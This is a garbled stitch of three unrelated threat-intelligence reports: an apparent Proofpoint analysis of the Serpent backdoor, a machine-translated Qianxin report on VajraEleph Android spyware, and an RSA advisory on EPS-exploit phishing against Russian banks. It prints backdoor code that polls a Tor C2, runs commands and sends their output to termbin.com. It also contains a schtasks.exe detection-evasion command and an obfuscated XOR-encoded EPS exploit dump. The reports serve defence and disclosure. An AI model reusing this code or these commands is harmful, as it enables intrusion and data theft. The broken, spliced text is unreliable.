socket.socket(socket.
AF_INET, socket.
SOCK_STREAM) socks.setdefaultproxy(socks.
PROXY_TYPE_SOCKS5, 172.17.0.1, 9050, True) termbin_cnx.connect((termbin.com, 9999)) termbin_cnx.send(out) recv  termbin_cnx.recv(100000) termbin_url_created  recv.decode().rstrip(\x00).strip() print(termbin_url_created) termbin_header  Referer: hostname_pattern -- termbin_url_created headers.update(termbin_header) try: push  requests.get(cmd_url_answer, headersheaders) print(executed) headers.update(referer) except Exception as e: print(e) pass else: print(not for me) while True: time.sleep(10) try: check_cmd  get_cmd() if check_cmd  check_cmd_1: time.sleep(20) print(check_cmd) run_cmd(check_cmd) check_cmd_1  check_cmd pass except Exception as e: print(e) pass This Serpent backdoor periodically pings the order server (the first onion[.
]pet URL) and expects responses of the form random integer--hostname--command.
If hostname matches the hostname of the infected computer, the infected host runs the command provided by the order server (command), which could be any Windows command as designated by the attacker, and records the output.
The malware then uses PySocks to connect to the command line pastebin tool Termbin, pastes the output to a bin, and receives the bins unique URL.
Finally, the malware sends a request to the answer server (the second onion[.
]pet 6/10 URL), including the hostname and bin URL in the header.
This allows the attacker to monitor the bin outputs via the answer URL and see what the infected hosts response was.
The malware cycles through this process indefinitely.
Figure 3: Serpent backdoor attack chain.
Both steganographic images are hosted on what appears to be a Jamaican credit union website.
7/10 Figure 4: Image with base64 encoded Python script.
The threat actor uses a Tor proxy for command and control (C2) infrastructure, for example: http://mhocujuh3h6fek7k4efpxo5teyigezqkpixkbvc2mzaaprmusze6icqd[.]onion[.
]pet/index.html Additional Tooling In addition to the images used in this attack chain Proofpoint researchers have observed and identified additional payloads being served from the same host.
One of particular interest is utilizing what Proofpoint believes to be a novel application of signed binary proxy execution using schtasks.exe.
Notably, this is an attempt to bypass detection by defensive measures.
This command is contained within a similar Swiper image called ship.jpg after the end of file marker.
schtasks.exe /CREATE /SC ONEVENT /EC application /mo [System/EventID777] /f /TN run /TR calc.exe  EVENTCREATE /ID 777 /L APPLICATION /T INFORMATION /SO DummyEvent /D Initiatescheduled task.
schtasks.exe /DELETE /TN run /f The above command leverages schtasks.exe to create a one-time task to call a portable executable.
In this case the executable is called calc.exe.
The trigger for this task is contingent on the creation of a Windows event with EventID of 777.
The command then creates a dummy event to trigger the task and deletes the task from the task scheduler.
This peculiar application of tasking logic results in the portable executable being executed as a child process of taskhostsw.exe which is a signed Windows binary.
Threat Assessment 8/10 The threat actor leveraged multiple unique behaviors and targeting suggesting this is likely an advanced, targeted threat.
Leveraging Chocolatey as an initial payload may allow the threat actor to bypass threat detection mechanisms because it is a legitimate software package and would not immediately be identified as malicious.
The follow-on use of legitimate Python tools observed in network traffic may also not be flagged or identified as malicious.
The use of steganography in the macro and follow-on payloads is unique Proofpoint rarely observes the use of steganography in campaigns.
Additionally, the technique using schtasks.exe to execute any desired portable executable file is also unique and previously unobserved by Proofpoint threat researchers.
Proofpoint does not associate this threat with a known actor or group.
The ultimate objectives of the threat actor are presently unknown.
Successful compromise would enable a threat actor to conduct a variety of activities, including stealing information, obtaining control of an infected host, or installing additional payloads.
A Note on Highly Targeted Threats Proofpoint has a vast amount of organic threat data to pour over every day.
This presents unique challenges when trying to surface interesting threats.
The aforementioned campaign and the threats contained within were surfaced using Proofpoints machine learning-enabled Campaign Discovery tool.
This tool uses a custom-built deep neural network model to generate useful numeric encodings of threats based on their behavioral forensics.
These encodings are then used to generate clusters of similar threats.
This allows Proofpoints threat researchers to identify campaigns, including the shared infrastructure, TTPs, and indicators of compromise that define them more easily.
By clustering together threats that are alike, the tool also facilitates the discovery of anomalous or unusual threats that are not similar to any other observed threats.
We lovingly refer to this tool as Camp Disco and it sports themed ascii art like all sweet tools should.
9/10 Indicators of Compromise Indicator Description https://www[.]fhccu[.]com/images/ship3[.
]jpg Encoded Payload URL https://www[.]fhccu[.]com/images/7[.
]jpg Encoded Payload URL http://ggfwk7yj5hus3ujdls5bjza4apkpfw5bjqbq4j6rixlogylr5x67dmid [.]onion[.]pet/index[.
]html C2 10/10 Proofpoint detects and blocks all documents associated with the campaigns and has published the following Emerging Threat signatures: 2035303 - ET INFO Observed Chocolatey Windows Package Management Domain (chocolatey .org in TLS SNI) 2035306 - ET INFO Chocolatey Windows Package Management Installation File Retrieval 2851286 - ETPRO MALWARE Malicious Script Retrieved via Image Request http://mhocujuh3h6fek7k4efpxo5teyigezqkpixkbvc2mzaaprmusze6icqd [.]onion[.]pet/index[.
]html C2 http://shorturl[.
]at/qzES8 ShortURL jeanne.vrakelegmail[.
]com Sender Email jean.dupontelprotonmail[.
]com Sender Email no-replydgfip-nanterre[.
]com Sender Email f988e252551fe83b5fc3749e1d844c31fad60be0c25e546c80dbb9923e03eaf2 Docm SHA256 ec8c8c44eae3360be03e88a4bc7bb03f3de8d0a298bff7250941776fcea9faab Docm SHA256 8912f7255b8f091e90083e584709cf0c69a9b55e09587f5927c9ac39447d6a19 Docm SHA256
1/11 VajraEleph from South Asia - Cyber   espionage against Pakistani military personnel revealed mp.weixin.qq.com/s/B0ElRhbqLzs-wGQh79fTww Original QAX Virus Response Centre Qi Anxin Virus Response Center 2022-03-30 12:00 1.
Summary of the event In February 2022 , the mobile security team of Qianxin Virus Response Center noticed that since June 2021 , an A _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ P T organization mainly targets PakistanThe Tanzanian military has launched organized , planned and targeted military espionage intelligence activities .
_
After just nine months of attacks , the group has affected dozens of Pakistani military personnel .
_
This part of the victimThe personnel are mainly Pakistani national border guards ( FC ) and special forces ( SSG ) , especially the Balochistan border guards ( FCBLN )  in addition _ _ _ _ Also contains a small amount of FBI ( FIA ) and police ( Police ) .
_ _ _ _ _ _ _
Another attack also affected a small number of Nepalese personnel , but domestic users in China were not affected by it .
Figure 1.1 Distribution of affected countries _ _ _ _ _ The organization usually uses public social platforms to find the target of concern , and combines pornographic words and other chats to induce the target users to install the specified bait chat attack application .
Used for phishing attacks .
Furthermore ,The attacker also published the malicious chat application on a well- known foreign app store platform , but the relevant links are now inaccessible .
As of the time of this report , all the attacks of this group that we have intercepted are carried out through the An d r oi d platform , and we have not found any Via the Windows platform _ _ _ _ _attack .
_ _
A total of 8 malicious application download servers have been captured , and at least 5 different Android platform attack samples can be downloaded on the servers .
_ _
All samples were _ _Dedicated chat software for Italian codes .
We name all these captured malicious samples V a j r a Sp y .
_ _ _ _
Comprehensive analysis of the attack activity characteristics , sample coding method , C2 server architecture and other clues shows that the organization has a regional power in South Asia .
the background of the government , but also live with the regionOther APT tissues that jumped , such as Sidewinder Sidewinder , Manling Flower Bitter , Belly Brainworm Donot , etc.
,
were not significantly associated _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ ( Only with bellyworm D o no o t _ _There is a small amount of similarity ) , with strong independence and independent characteristics .
Therefore , we identified this organization as a new APT organization active in South Asia .
_ _
We named it King Kong Elephant , English _The document name is V a j r a E l e ph , and the organization number is A P T - Q - 4 3 .
King Kong Elephant is the 15th APT organization that Qi Anxin independently discovered and first disclosed .
_ _ _
2.
Load delivery _ Through the Qi Anxin Virus Response Center mobile security team and the Qi Anxin threat intelligence platform ( h t t p s : / / t i .
q i a n x i n .
c o m / ) joint tracking analysis found that , the earliest activities of the King Kong Elephant Organization can be traced back to June 2021 .
The picture below shows the earliest payload server information of the organization that we intercepted .
https://mp.weixin.qq.com/s/B0ElRhbqLzs-wGQh79fTww javascript:void(0) 2/11 Figure 2.1 Screenshot of the earliest domain name payload server discovered ( using Name Sil o registrar domain name ) _ _ _ _ _ _ In the early attacks of this group , the  short link  of the download address of the attack payload is usually sent to the target through social software such as WhatsApp .
.
Later , with the major socialTaiwan banned related links , and the organization switched to delivering short links to target people in the form of pictures .
payload short chain address Corresponding to the actual download address h t t p s : / / c u t t .
ly / q I r g C K o _ h t t p s : / / a p p z .
l i v e / i c h f g h b t t / c r a z y .
a p k h t t p s : / / b i t .
ly / 3 B r C x N U _ h t t p s : / / a p p z s h a r e .
d i g i t a l / c o u f g t d j v i / Z o n g C h a t ( B e t a ) .
a p k h t t p s : / / b i t .
ly / 3 9 r o C M d _ h t t p s : / / a p z s h a r e .
c l u b / p o a h b c y s k d h / c a b l e .
a p k h t t p s : / / r e b r a n d .
l y / C a b l e _ v 2 h t t p s : / / a p p z s h a r e .
c l u b / p o a h b c y s k d h / c a b l e .
a p k Table 1 Discovered short chains of payload delivery and their corresponding actual download addresses _ The load name servers used by this organization are all registered for less than a year , and the registrars are mainly Name Sil o and Name Cheap .
_ _ _ _ _ _ _
This is in line with another recent activity in South AsiaThe activity of the advanced attack group , the brainworm , is similar .
3/11 Figure 2.
2 part of the domain name payload server who is the situation 3.
Attack target _ The King Kong Elephant Group has obvious intentions to steal military intelligence , mainly targeting Pakistani military personnel , affecting dozens of military personnel who have been involved in several units .
Here s what we get from attacker C 2The photos and information of some victims mobile phones were intercepted on the server .
Figure 3.1 Stolen photos of Pakistan Frontier Guard ( FC , F ro n ti e r C o r p s ) personnel _ _ _ 4/11 Figure 3.2 Stolen photos of Pakistani Balochistan Border Guard ( FC B L N , FC Balochistan ) personnel _ _ _ _ _ _ _ _ _ _ _ _ _ Figure 3.3 Information stolen from Balochistan border guards _ _ 5/11 Figure 3.4 Stolen photos of Pakistani special forces _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ Figure 3.5 Stolen photos of Pakistani police _ 6/11 Figure 3.6 Pakistani Police Stolen Information _ _ 7/11 Figure 3.7 Pakistani Federal Bureau of Investigation ( FIA , FederalInvestigationAgency ) personnel were stolen photos _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ piece Figure 3.8 Stolen Information on the Chief of Staff of the Army _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ 4.
Technical Analysis _ Through analysis , it is found that the attack RA T invested by the King Kong Elephant Organization is currently targeting the Android platform .
_
Analysis shows that the organization has a high degree of R A T customization , and weNamed V a j r a Sp y .
_ _
V a j r a Spy supports all the classic functions of espionage and stores the stolen data in a designated Google cloud storage space .
_ _ _ _ _ _
function Corresponding post - stealing data storage file name steal call logs l o g s .
j s o n steal address book c o n t a c t s .
j s o n Steal SMS s m s .
j s o n Steal 1 5 types of files in the specified directory of the SD card file / filename _ _ _ _ _ Steal notification bar information n o t i / 1 3 -bit timestamp .
j s o n Steal device information d e v i c e .
j s o n Steal installed application information _ _ _ a p p d e t a i l s .
j s o n Stealing three versions of WhatsApp information _ _ _ _ _ _ _  w a .
j s o n / w a b .
j s o n / w a b s .
j s o n Table 2 V a j r a S p y R A T main stealing functions _ _ 8/11 Figure 4.1 15 types of files ( text , pictures , audio ) related code snippets stolen _ _ _ _ 5.
Attacker portrait _ _ 1 ) The purpose of the attack Attackers targeted Pakistani military , security and police personnel , including border guards ( FC ) , special forces ( SSG ) , federal investigators _ _ _ _ _ _ Bureau ( FIA ) and Police ( P _ _o l ic e ) and so on .
Among them , the border guards are the main target .
9/11 There are also a small number of activities targeting Nepalese military personnel .
It can be seen from this that military personnel and military secrets are thethe main purpose of the activity .
2 ) Attack method Attackers are good at using social induced delivery and SMS induced delivery to attack , among which social induced delivery is the main method .
3 ) Network assets The mobile phone numbers used by the attackers are all exclusive numbers of mobile service providers in a country in South Asia .
4 ) Native language features The attackers used a large number of languages   from a South Asian country in their attacks .
The country has a longstanding military and geopolitical conflict with Pakistan .
_ _
5 ) Association with other APT organizations _ _ _ The activity characteristics of the malicious sample download server are similar to those of the belly worm ( Donot ) .
_ _ _
Some of the filenames used in the attack have certain similarities to the bellyworm tissue .
_ _
To sum up , the King Kong Elephant Organization should be a senior executive with a government background in a South Asian country who mainly launched cyber attacks against Pakistani military personnel and military activities .
attack group , is an active _New APT organization in South Asia .
_ _ _
6.
Summary and Recommendations _ In traditional APT activities , the use of mobile social platforms is not common .
_ _
This is because most of the sensitive and confidential information is stored on the computer , and on the other hand , it is also caused byBecause of launching attacks through social platforms , it is easy to leave traces .
However , in the past two years , with the increasing popularity of mobile social platforms , we have found that many A P T activities targeting developing countries will be more or less Via mobile platforms , social platformsto proceed .
For example , the Nuo Chong Lion Organization , the Blade Eagle Organization and the Diamond Elephant Organization disclosed this time all target the An d r oi d platform and _ _ _ _ _ network of social platformsattack activity .
The analysis believes that the reasons for the increasing attention of APT activities on mobile platforms and social platforms mainly include the following aspects : First of all, the level of network security construction and management in many developing countries is relatively backward , so that it is possible to gain access to smartphones only through attacks on smartphones .
large amounts of sensitive and confidential information.
Second , the popularity of smartphones is getting higher and higher .
It is a low-cost , high -cost way to launch cyber attacks through social platforms against secret -related personnel with insufficient security awareness .
Efficient attack .
_ _
Third , smartphones often have more unfixed security vulnerabilities , and the penetration rate of mobile security software is not high , which leads to the launch of network targeting mobile platforms .
The technical threshold of attack is relatively lower.
Then , for government and enterprise institutions , especially the military , police and other secret or sensitive institutions , how should they do a good job in protection , and try to avoid or reduce the targeting of immigrants as much as possible ?
App for mobile platforms and social platforms _What is the impact of T activities on yourself ?
Here we give some practical suggestions as follows .
1 ) Work and life are separated , and sensitive information is not shared Agencies should strive to avoid staff using personal smartphones for routine office activities .
_ _
Conditional units can distribute work mobile phones or confidential mobile phones to staff .
_ _
If the conditions are trueIt is not allowed .
You can use enterprise - level secure mobile work platforms for internal communication and office work , such as Lanxin and cloud mobile phone security management systems .
2 ) Strengthen safety awareness education and strictly implement safety regulations Relevant institutions should strengthen employee security awareness education , do not use personal mobile phones to shoot , store sensitive or confidential information , and do not share sensitive or confidential information through social platforms information dont click on strangers postsUnknown links come  reject the temptation of illegal information such as pornography and gambling .
At the same time , relevant agencies should also formulate practical cybersecurity management standards and employee code of conduct , and carry out strictSupervision and review .
3 ) Update software system , use security software Relevant institutions should require employees , whether it is an office mobile phone or a personal mobile phone , to update the operating system and core software in a timely manner to ensure that the smart phone starts to work .
Always in the best safe condition .
sameInstall the necessary mobile phone security software at any time to reduce the damage of various Trojan horses and viruses as much as possible .
4 ) Establish threat intelligence capabilities to prevent APT attacks _ _ 10/11 Relevant institutions should work with professional security vendors to build efficient threat information collection , analysis and disposal capabilities , and timely detect , intercept and track various APT activities .
_
move , bring APT activities to the _ _Impact and losses are minimized .
At present , a full line of products based on Qianxin s self - developed Owl engine and Qianxin Threat Intelligence Center s threat intelligence data , including Qianxin s threat intelligence platform ( TIP ) , Tianqing , Tianji _ _ _, Sky Eye Advanced Threat Detection System , Qi An Xin N G SOC , Qi An Xin Situational Awareness , etc.
,
have all supported the accurate detection of such attacks .
Part IOC _ _ Domain name / IP Purpose a p p p l a c e .
s h o p payload server a p p z .
l i v e payload server a p z s h a r e .
c l u b payload server a p p z s h a r e .
d i g i t a l payload server a p p z s h a r e .
c l u b payload server 2 1 2 .
2 4 .
1 0 0 .
1 9 7 payload server A n d r o i d M D 5  package name 7 a 4 7 d 8 5 9 d 5 e e 7 1 9 3 4 0 1 8 4 3 3 e 3 a b 7 e d 5 b c o m .
cr .
c ha t _ _ 0 c 9 8 0 f 4 7 5 7 6 6 f 3 a 5 7 f 3 5 d 1 9 f 4 4 b 0 7 6 6 6 c o m .
c r a z y .
t a l k Appendix 1 Qi Anxin Virus Response Center Qianxin Virus Response Center is a virus identification and response professional team under Beijing Qianxin Technology Co., Ltd. ( Qianxin Group ) , backed by the core of Qianxin Cloud platform , with daily tens of millionsSample detection and disposal capabilities , daily 100 million -level safety data correlation analysis capabilities .
Combining years of anti- virus core security technology and operational experience , based on the Q O W L and Q D E independently developed by the group( artificial intelligence ) engine , forming cross- platform Trojan virus and vulnerability detection and repair capabilities , and has powerful big data analysis and realization of full platform security .
Full protection and early warning capabilities .
Qianxin Virus Response Center is responsible for supporting the virus detection of Qianxin s entire line of security products , actively responding to security feedback from customers , and can provide customers with the first time Eliminate intractable diseases .
_
Center ZengHe has dealt with major virus incidents many times and participated in the security work of major events , which has been highly recognized by customers , which has enhanced Qi Anxin s brand influence in the industry .
Appendix 2 Qianxin Virus Response Center Mobile Security Team _ The mobile security team of Qianxin Virus Response Center has been committed to the research in the field of mobile security and Android security ecology .
At present , Qi Anxin s mobile security products can not only detect and kill commonIt can also accurately detect and kill popular software such as brushing , fraud , gambling , violations , pornography and other black products .
_ _ _ _ _
It can effectively support traceability through its internal analysis systemAnalysis and other tracking .
Through its high- value mobile attack discovery process , it has captured a number of attack events , released a number of mobile black industry reports , and disclosed multiple A P T groups .
weaving activities , _Two years ago , new APT organizations under the background of 4 11/11 countries have been disclosed for the first time ( Nuo Chong Lion Organization Si l en c e r L ion , Blade Eagle Organization B l a d e H aw k , Aiye Leopard Organization S _no w L e o par d and this time the Vajra Eleph ) .
_ _ _ _ _ _ _ _ _ _ _ _ _
In the future , we will continue to be at the forefront of global mobile security research , tracking and analyzing the first timeThe latest mobile security incidents , in -depth exploration and tracking of domestic mobile - related black and gray products , are striving to maintain the network security on the mobile terminal .
Appendix 3 Introduction of Qianxin Mobile Products Qianxin Mobile Terminal Security Management System ( Tianji ) is aimed at customers in public security , justice , government , finance , operators , energy , manufacturing and other industries .
Terminal control and strong terminal security features _A unique mobile terminal security management product .
The product is based on Qi Anxin s security technology accumulation and operation experience on massive mobile terminals , from hardware , OS , application , data to link and other multi - levelSecurity protection solutions to ensure the security of enterprise data and applications in mobile terminals .
Qianxin Mobile Situational Awareness System is a mobile situational awareness management product jointly launched by Qianxin Security Supervision BG Situational Awareness First Division and its partner Qianxin Virus Response Center Mobile Team.
Different from traditional mobile security vendors, which focus on APP production and release, and provide customers with APP reinforcement, detection, analysis, etc.
mobile situational awareness is oriented to customers with regulatory responsibilities, focusing more on APP download and use, and find out the scope of the jurisdiction.
The use of APP provides customers with functions such as APP illegal detection, compliance analysis, and traceability.
Russian Bank Offices Hit with Broad Phishing Wave community.rsa.com /community/products/netwitness/blog/2017/08/17/russian-bank-offices-hit-with-broad-phishing-wave By far most of the bank-related phishing campaigns described in security advisories and reports consist of bank customers being targeted for their online credentials.
Much less common is a phishing campaign targeting the banks themselves.
Perhaps fraudsters know that there are a lot more bank customers than there are banks, and generally banks have a more hardened security posture than the average banks customer.
Target: multiple bank offices in Russia But still, payoff potential for a successful bank compromise might be considerable.
In this threat advisory, we describe a Russian-language phishing campaign active during the second week of August 2017, targeting not the usual banking customers, but the Russian banks themselves.
And in an unusual reversal of typical bank phishing social engineering tactics, the phishing emails purport to be from the banks customers.
Consider the following phish delivered to the email address displayed on the banks website.
In the email screenshot with our added machine translation from Russian, notice the subject line and message body text reflecting a business customer upset about extra charges on his credit card social engineering theme (Figure 1).
Figure 1 Phishing email targeting Russia bank 1, machine translation in red boxes Figure 2 is a screenshot of another phishing email obtained by RSA FirstWatch, targeting Russia bank 2.
While this email is part of the same campaign, note that the body text, subject lines, file name, and mail.com sender email is different from that targeting Russia bank 1, suggesting at least some manual actor modifications to the phishing email construction.
Figure 2 Phishing email targeting Russia bank 1, machine translation in red boxes RSA FirstWatch identified 23 such attachments in this campaign, all using what appeared to be the exact same EPS exploit.
The disgruntled banking customer was consistent throughout illustrated below are a few attachment examples: Exploit attachment 1 was deployed with the following names in Russian: .docx (Account statement) .docx (Card statement) .docx (Personal information) 1/9 https://community.rsa.com/community/products/netwitness/blog/2017/08/17/russian-bank-offices-hit-with-broad-phishing-wave https://community.rsa.com/servlet/JiveServlet/showImage/38-2172-336682/Russian_Banking1.png https://community.rsa.com/servlet/JiveServlet/showImage/38-2172-336683/RussianBanking2.png https://community.rsa.com/external-link.jspa?urlhttps3A2F2Fwww.virustotal.com2Fen2Ffile2F4c2c971109c54bf49950c852f3aee4b22266c29c86a3260d726f639c435edbf02Fanalysis2F https://community.rsa.com/servlet/JiveServlet/showImage/38-2172-336684/RussianBanking3.png https://community.rsa.com/servlet/JiveServlet/showImage/38-2172-336685/RussianBanking4.png https://community.rsa.com/servlet/JiveServlet/showImage/38-2172-336686/RussianBanking5.png https://community.rsa.com/servlet/JiveServlet/showImage/38-2172-336687/ScreenShot2017-08-17at2.29.51PM.png https://community.rsa.com/servlet/JiveServlet/showImage/38-2172-336692/Russian_Banking6.png https://community.rsa.com/servlet/JiveServlet/showImage/38-2172-336693/Russian_Banking7.png https://community.rsa.com/servlet/JiveServlet/showImage/38-2172-336694/FirstWatch_banner.png Exploit attachment 2 was deployed with the following names: .docx (or Card statement) .docx (or Customer card statement) Exploit attachment 3 was deployed using the following name: .docx (or Statement) Note: Hashes of all samples will be included in the Appendix of this analysis.
As of 10 August 2017, RSA FirstWatch has high confidence that multiple individuals at many Russian banks were targeted with these malicious attachments, and believe this campaign was subsequently brought to the attention of the Central Bank of Russias FinCERT by one or more of the banks being targeted.
On 17 August 2017, the day we were finishing up this analysis, a new sample was discovered being deployed, with a different C2 node and slightly different communication.
An exploit in someone elses wrapper?
Before we get to details about the exploit used in this campaign, we should cover some history on EPS exploits in docx files.
FireEye discovered a malicious docx exploiting a zero day vulnerability in Microsofts Encapsulated Postscript (EPS) filter, in the summer of 2015.
This EPS exploit was assigned CVE-2015-2545.
In March 2017, FireEye observed both nation state and financially motivated actors using EPS zero day exploits assigned as CVE-2017-0261 and CVE-2017-0262, prior to Microsoft disabling EPS rendering in its Office products with an update in April 2017.
So it is likely one of these three EPS exploits is being employed with the perpetrator activity under investigation, perhaps hoping that their targets havent applied the April patch that would make every EPS exploit futile.
Since docx files are just a Zip-compressed container, comparing them with a file tree view might be a quick way to assess similarity on a high level.
In fact, all 23 known docx files used in this campaign are very nearly identical, with the same 12 component files.
Varying checksums might have to do with build artifacts, perhaps even intentionally so, in order to generate a unique hash with each build.
Figure 3 Tree view of docx container file used to target Russian banks last week Interesting enough 10 of these 12 docx component files (everything but the image1.eps and document.xml files) are dated April 18 th.
This is no coincidence in fact, those same docx component files were found in the attachment used by nation-state actors in their email targeting of an Eastern European Ministry of Foreign Affairs , back when this EPS exploit was still a zero day (Figure 4).
2/9 https://community.rsa.com/external-link.jspa?urlhttps3A2F2Fwww.virustotal.com2Fen2Ffile2F4daf49b1c70e9740444e29b6faf5e8c4fae17fe7aea636d0dfa873093982a5d62Fanalysis2F https://community.rsa.com/external-link.jspa?urlhttps3A2F2Fwww.virustotal.com2Fen2Ffile2F1892154cc47e8a1bc81186d131e001a22e4edbc4fd88688eb1782b934e1941b62Fanalysis2F https://community.rsa.com/external-link.jspa?urlhttps3A2F2Fwww.fireeye.com2Fblog2Fthreat-research2F20152F092Fattack_exploitingmi.html https://community.rsa.com/external-link.jspa?urlhttps3A2F2Fwww.fireeye.com2Fblog2Fthreat-research2F20172F052Feps-processing-zero-days.html https://community.rsa.com/external-link.jspa?urlhttps3A2F2Fwww.virustotal.com2Fen2Ffile2F91acb0d56771af0196e34ac95194b3d0bf3200bc5f6208caf3a91286958876f92Fanalysis2F Figure 4 Eastern European Ministry of Foreign Affairs targeted by suspected nation state actors So if we compare the tree view of that older docx container (Figure 5), we see that 10 of the same component files appear identical, and we can confirm that using cryptographic hashing.
Figure 5 Tree view of Trump exploit docx container, with 10 of 12 files identical to 23 recent RU bank targeting samples described in this investigation Of special note is the common app.xml file, which comes directly from the decoy document in the Trump exploit file.
This app.xml file contains the same URL to the California Courier website (www[.]thecaliforniacourier[.
]com), where the text was copied from Trumps Attack on Syria: Wrong for so Many Reasons as described by ESET in their exploit analysis .
3/9 https://community.rsa.com/external-link.jspa?urlhttps3A2F2Fcommunity.riskiq.com2Fsearch2Fwww.thecaliforniacourier.com https://community.rsa.com/external-link.jspa?urlhttps3A2F2Fwww.welivesecurity.com2F20172F052F092Fsednit-adds-two-zero-day-exploits-using-trumps-attack-syria-decoy2F Clearly there was some borrowing going on between this current bank-targeting campaign and the previous nation-state espionage campaign.
Does this suggest that these campaigns and actors are in any way complicit/related?
No.
On the contrary, national interests seem to imply that those particular espionage-focused actors (i.e., from the Trump campaign) would almost certainly NOT be involved in broadly exploiting Russian banks a few months later.
That being said, an alternative hypothesis is that these bank-targeting actors purposely purloined the older espionage related docx files to introduce uncertainty and/or mis-attribution, or even to send a message to defenders or researchers.
As well see shortly, the attackers also interestingly signed (commented) their malware with lyrics from Slipknots Snuff.
Figure 6 Google result with Slipknot Snuff lyrics Which exploit is this?
Obfuscation is important for exploits, especially when a campaign that is broad as this one is up against a gamut of financial institutions with AVs that have had plenty of time to add detection for known EPS exploits.
With initial AV coverage of these two dozen or so attachments in the single digits out of more than 50 AV vendors, RSA Engineerings Kevin Douglas jumped at the chance to flex his deobfuscation skills, and here steps us through our exploit assessment.
Step 1.
Unzipping the sample DOCX file, reveals the following embedded EPS Image file unzip ./2c86a55cefd05352793c603421b2d815f0e1ddf08e598e7a3f0f6b1d3928aca8 Archive:  ./2c86a55cefd05352793c603421b2d815f0e1ddf08e598e7a3f0f6b1d3928aca8 inflating: [Content_Types].xml inflating: docProps/app.xml inflating: docProps/core.xml inflating: word/document.xml inflating: word/fontTable.xml inflating: word/settings.xml inflating: word/styles.xml inflating: word/webSettings.xml inflating: word/media/image1.eps inflating: word/theme/theme1.xml inflating: word/_rels/document.xml.rels inflating: _rels/.rels Step 2.
Examining the app.xml file, we can see a suspicious URL artifact cat docProps/app.xml ?
xml version1.0 encodingUTF-8 standaloneyes?
4/9 Properties xmlnshttp://schemas.openxmlformats.org/officeDocument/2006/extended-properties xmlns:vthttp://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypesTemplateNormal.dotm/TemplateTotalTime1/TotalTimePages2/Pages Words958/WordsCharacters5462/CharactersApplicationMicrosoft Office Word/ApplicationDocSecurity0/DocSecurityLines45/Lines Paragraphs12/ParagraphsScaleCropfalse/ScaleCropHeadingPairsvt:vector size2 baseTypevariantvt:variantvt:lpstrTitle/vt:lpstr/vt:variantvt:variant vt:i41/vt:i4/vt:variant/vt:vector/HeadingPairsTitlesOfPartsvt:vector size1 baseTypelpstrvt:lpstr/vt:lpstr/vt:vector/TitlesOfPartsCompany/Company LinksUpToDatefalse/LinksUpToDateCharactersWithSpaces6408/CharactersWithSpacesSharedDocfalse/SharedDocHLinksvt:vector size6 baseTypevariant vt:variantvt:i44456521/vt:i4/vt:variantvt:variantvt:i40/vt:i4/vt:variantvt:variantvt:i40/vt:i4/vt:variantvt:variantvt:i45/vt:i4/vt:variantvt:variant vt:lpwstrhXXp://www[.]thecaliforniacourier[.
]com /vt:lpwstr/vt:variantvt:variantvt:lpwstr/vt:lpwstr/vt:variant/vt:vector/HLinks HyperlinksChangedfalse/HyperlinksChangedAppVersion15.0000/AppVersion/Properties Step 3.
Examining the image1.eps file, we can see: 1.
A likely multibyte XOR key (7a5d5e20) 2.
Quoting lyrics from Slipknots Snuff in the comments (Myheartisjusttoodarktocare, Icantdestroywhatisntthere) 3.
A likely XOR encoded hexadecimal payload (017d71681f3128450e343d415a3b374e1e3b314e0e7d6f104a7d2d431b313b4615332a0009382a4615332a001d3131421b313a491 4.
9297e421f3a) 5.
A likely XOR decode loop: (0 1 A1 length 1 sub  /A5 exch def A1 A5 2 copy get A2 A5 4 mod get xor put   for A1  ) 6.
A likely execution of the payload once it is decoded (exec ) 7.
Repetitive obfuscated comments translating to  kasper-pidor kasper-pidor kasper-pidor kasper-pidor scattered throughout to make the code that make it harder to read.
These are highlighted in green... and possibly speak to something more personal between the actors and Kaspersky possibly?
(
e.g., 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220) Dump of image1.EPS code: PS-Adobe-3.0 EPSF-3.0 BoundingBox:   31   24  51  654 Page: 1 1 /Times-Roman findfont globaldict 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 begin /l0 11 def l0 scalefont setfont newpath /E1 600 def 4 E1 moveto /l2 E1 def /l3  /l4 exch def /l2 l2 l0 sub def 12 l2 moveto l4 show   /min  2 copy gt  exch  if pop  bind def  /max  2 copy lt  exch  if pop  bind def /A3 token pop exch pop 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 def /A2 6b61737065722d706 6b61737065722d706 7a5d5e20 def /A4 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 /A1 exch 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 def 0 1 A1 length 1 sub 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 /A5 exch def A1 A5 2 copy get A2 A5 4 mod get xor 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 put   for A1 5/9 https://community.rsa.com/external-link.jspa?urlhttp3A2F2Fschemas.openxmlformats.org2FofficeDocument2F20062Fextended-properties https://community.rsa.com/external-link.jspa?urlhttp3A2F2Fschemas.openxmlformats.org2FofficeDocument2F20062FdocPropsVTypes 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220 